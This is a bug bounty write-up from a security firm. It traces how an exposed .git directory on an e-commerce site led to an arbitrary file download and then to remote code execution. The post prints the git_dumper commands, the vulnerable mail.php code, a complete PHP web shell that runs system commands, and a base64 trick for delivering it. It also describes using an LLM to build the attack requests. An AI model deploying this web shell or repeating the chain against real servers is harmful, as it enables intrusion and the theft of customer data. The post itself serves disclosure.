From .git Disclosure to Remote Code Execution & More
July 15, 2025
8 min read
By Virendra & Monark

Table of Contents

This is a list of all the sections in this post. Click on any of them to jump to that section.

index

From .git Disclosure to Remote Code Execution & More

Introduction

This post is a writeup of one of our recent bug bounty findings, powered by Sudarshana’s ASM (Attack Surface Management) program. The goal of this blog is to share the real steps we took, what worked, what failed, and the takeaways. This should help in demonstrating capabilities of our ASM along with presenting vulnerability discovered in production environment on one of the biggest e-commerce company.

Initial Discovery

On June 29, our ASM platform flagged many hits including the following that looked worth a closer look.

image.png

At first, we did not find this special, as firewall usually blocks attempts to download /.git/* contents, but it was added to our queue for review. The next day, June 30, we visited the target casually and noticed it exposed some credentials related to a private owned GitLab instance.

image.png

However, on July 3 we went back to check those credentials properly. Upon validating the credentials using git clone, it was found that the credentials did not work. Hence, we moved towards attempting .git/ directory dump using git_dumper.

Reviewing the dump

The commands used to dump are as follows:

root@worker999:/dev/shm/git-dumper# mkdir [redacted].co.za
root@worker999:/dev/shm/git-dumper# python3 git_dumper.py https://[redacted].co.za/.git/ [redacted].co.za/
[-] Testing https://[redacted].co.za/.git/HEAD [200]
[-] Testing https://[redacted].co.za/.git/ [403]
[-] Fetching common files
[...]
[-] Running git checkout .
root@worker999:/dev/shm/git-dumper# cd [redacted].co.za/
root@worker999:/dev/shm/git-dumper/[redacted].co.za# ls -la
total 20
drwxr-xr-x 3 root root 120 Jul 4 00:08 .
drwxr-xr-x 6 root root 280 Jul 4 00:07 ..
-rw-r--r-- 1 root root 1186 Jul 4 00:08 CHANGE-LOG.md
-rw-r--r-- 1 root root 10717 Jul 4 00:08 mail.php
drwxr-xr-x 5 root root 180 Jul 4 00:08 .git
-rw-r--r-- 1 root root 5 Jul 4 00:08 VERSIONINFO

Out of the three files retrieved from the dump, the mail.php file stood out as the most interesting. It contained over 290 lines of code, which gave us a high level of confidence that it might hold something interesting.

image.png

Initially, we were expecting to find database or mail service credentials, but upon reading the file from a high-level overview, we confirmed that there were none.

Honestly, the code was a bit messy as well and we did not want to manually craft request at this point. So, we got LLM to help us by constructing HTTP request with correct parameters and expected values.

Using LLM for Lazy Work

Passing the entire PHP file to LLM with the prompt: “can you make me a testing http request?”. This generated following response.

image.png

As beginning with simple steps is preferred over throwing full-fledge exploit, we first aimed on validating the mail send functionality. For this, we converted the curl request to raw HTTP request to use with Burp Suite’s Repeater.

image.png

The “Message sent” response indicates that something is actually working! Additionally, the response is not received when no parameters are passed to the same endpoint.

image.png

On other hand, we heard beeping notification in my mail box:

image.png

At this point, we were not sure what was yet to come, but we had found one vulnerability already: Unauthorized Access to Send Mail Functionality.

Exploring File Attachment Vulnerability

Moving forward to the second example presented by LLM: an email with attachments. We attempted to reproduce the vulnerability using the LLM’s Curl output and converting it to Burp Suite’s Repeater. However, despite numerous attempts, we were unsuccessful in sending external interaction to our collaborator URL. Additionally, no attachments were observed in the incoming emails.

This was the moment we chose to manually dig into the email.php file and see what was going wrong. In just two minutes, we discovered three issues that the LLM had, despite having full source code available.:

  1. Incorrect parameter name

    [...]
    $this->displayFilename = isset($_POST['fileName']) ? $_POST['fileName'] : '';
    [...]

    Here, LLM got confused and could not determine the correct parameter name. Though we know that if we had forced LLM to recheck, it could find this mistake easily. Also, we want to emphasize here how much we trust that whatever output LLM has produced, it is correct.

  2. Missing additional parameter required to issue external requests

    [...]
    if (!isset($_POST['external'])) {
    	if ($this->displayFilename !== "") {
    		$mail->addAttachment($this->displayFilename);
    	}
    } else {
    	[...]
    }

    This cannot be claimed as an error right away, but LLM could have been presented an additional example citing the usage of external parameter to execute a file download operation.

  3. Not presenting user input in required format

    } else {
    	if (strstr($this->displayFilename, '^^^')) {
    		$objFiles = explode('^^^', $this->displayFilename);
    		[...]
    }

    To have the user input enter into a curl operation, it has to pass this weird delimiter check and should be starting with ^^^ for compatibility. This was again missed by the LLM in the first place.

Achieving External Interaction

With the said changes, we relaunched attack and voila!

image.png

We received HTTP request on the collaborator URL. Now, is the time to share good news:

[...]
} else{
	[...]
	if ($f != '') {
		$filename = explode( '/', $f );
		$filename = $filename[count($filename)-1];
		$filecontents = $this->curl_file_get_contents( $f );
		$serverArr = explode( 'www.', $_SERVER['SERVER_NAME'] );
		if (count($serverArr) > 1) {
			$server = $serverArr[1];
		} else {
			$server = $serverArr[0];
		}
		$fp = fopen('/var/www/app/pdf/'.$filename, 'w+');
		fwrite($fp, $filecontents);
		fclose($fp);
		$mail->addAttachment('/var/www/mail_web_app/pdf/'.$filename );
	}
[...]

This code left us with surprise and high-adrenaline spirit, both at the same time. As we have control over file download and if the /pdf directory is part of the web server, then it was RCE in plain sight.

Our next aim was only to see if the /pdf/or /mail_web_app/pdf/ exists on the server. From our knowledge, we knew that in PHP web servers, if any directory exists, visiting the web server with a valid directory name will redirect to the same endpoint with trailing / slash confirming the presence of the directory.

image.png

This validation felt like us being only a step away from building a masterpiece lego. We can easily upload a web shell as there is no validations or blockers on the script.

Delivering the Web Shell

Even with this boost, we did not go right away uploading a noobie webshell which has obvious names like shell.php and is not password protected. This is definitely not recommended, as it may put customers servers at a huge stake.

Following is the web shell we used:

# filename: e07910a06a086c83ba41827aa00b26ed-f60f7f9acf11b3b991f4e9880be3182c.php
 
<?php
$password = [super-strong-password-in-quotes];
 
if (!isset($_REQUEST['pass']) || $_REQUEST['pass'] !== $password) {
    die('Unauthorized');
}
 
if (isset($_REQUEST['cmd'])) {
    $cmd = $_REQUEST['cmd'];
    echo "<pre>";
    system($cmd);
    echo "</pre>";
} else {
    echo 'No command specified';
} 

We encountered a few minutes of difficulty delivering our web shell. This was because the technology we use to host our payloads is also built on PHP. When the target application attempted to download the actual web shell, it only received an “Unauthorized” response.

I believe this small error was due to extreme excitement, but it’s important to remember that silly mistakes are quite common.

Later, we realized the cause and converted the base64 of the web shell and used it as follows to actually respond actual web shell as part of HTTP response rather than “unauthorized” keyword.

<?php
echo base64_decode('<base64-encoded-version-of-original-webshell>');

This worked as intended, and we successfully executed OS commands on the system.

image.png

After roaming around for a while in the system, I found that the current /pdf directory contains 3000+ PDF documents which were downloaded previously for email purposes. From the PDF names, it was determined that these documents contain customer and organization-related sensitive documents which could result in PII leakage and sensitive business information disclosure. Hence, escalating the nature of the issue.

Reporting Timeline:

  • July 3, 2025, 8:58 pm - Reported to the program
  • July 4, 2025, 3:33 am - Validated by triager and sent for program review
  • July 8, 2025, 3:44 pm - Triaged
  • July 15, 2025, 10:30 am - Bounty awarded $XXXX

At Sudarshana, we believe that continuous security testing is not just a nice-to-have, but an essential part of staying ahead of threats. We blend AI-driven automation with skilled manual testing by our seasoned testers at places where today’s AI still falls short. This approach ensures our clients get thorough, real-world coverage, not just checkbox results.

With our Penetration Testing, Attack Surface Management, Red Teaming, and Defensive Security services, we help organizations truly understand their risk and reduce it.

If you would like to learn more about what we offer, please get in touch.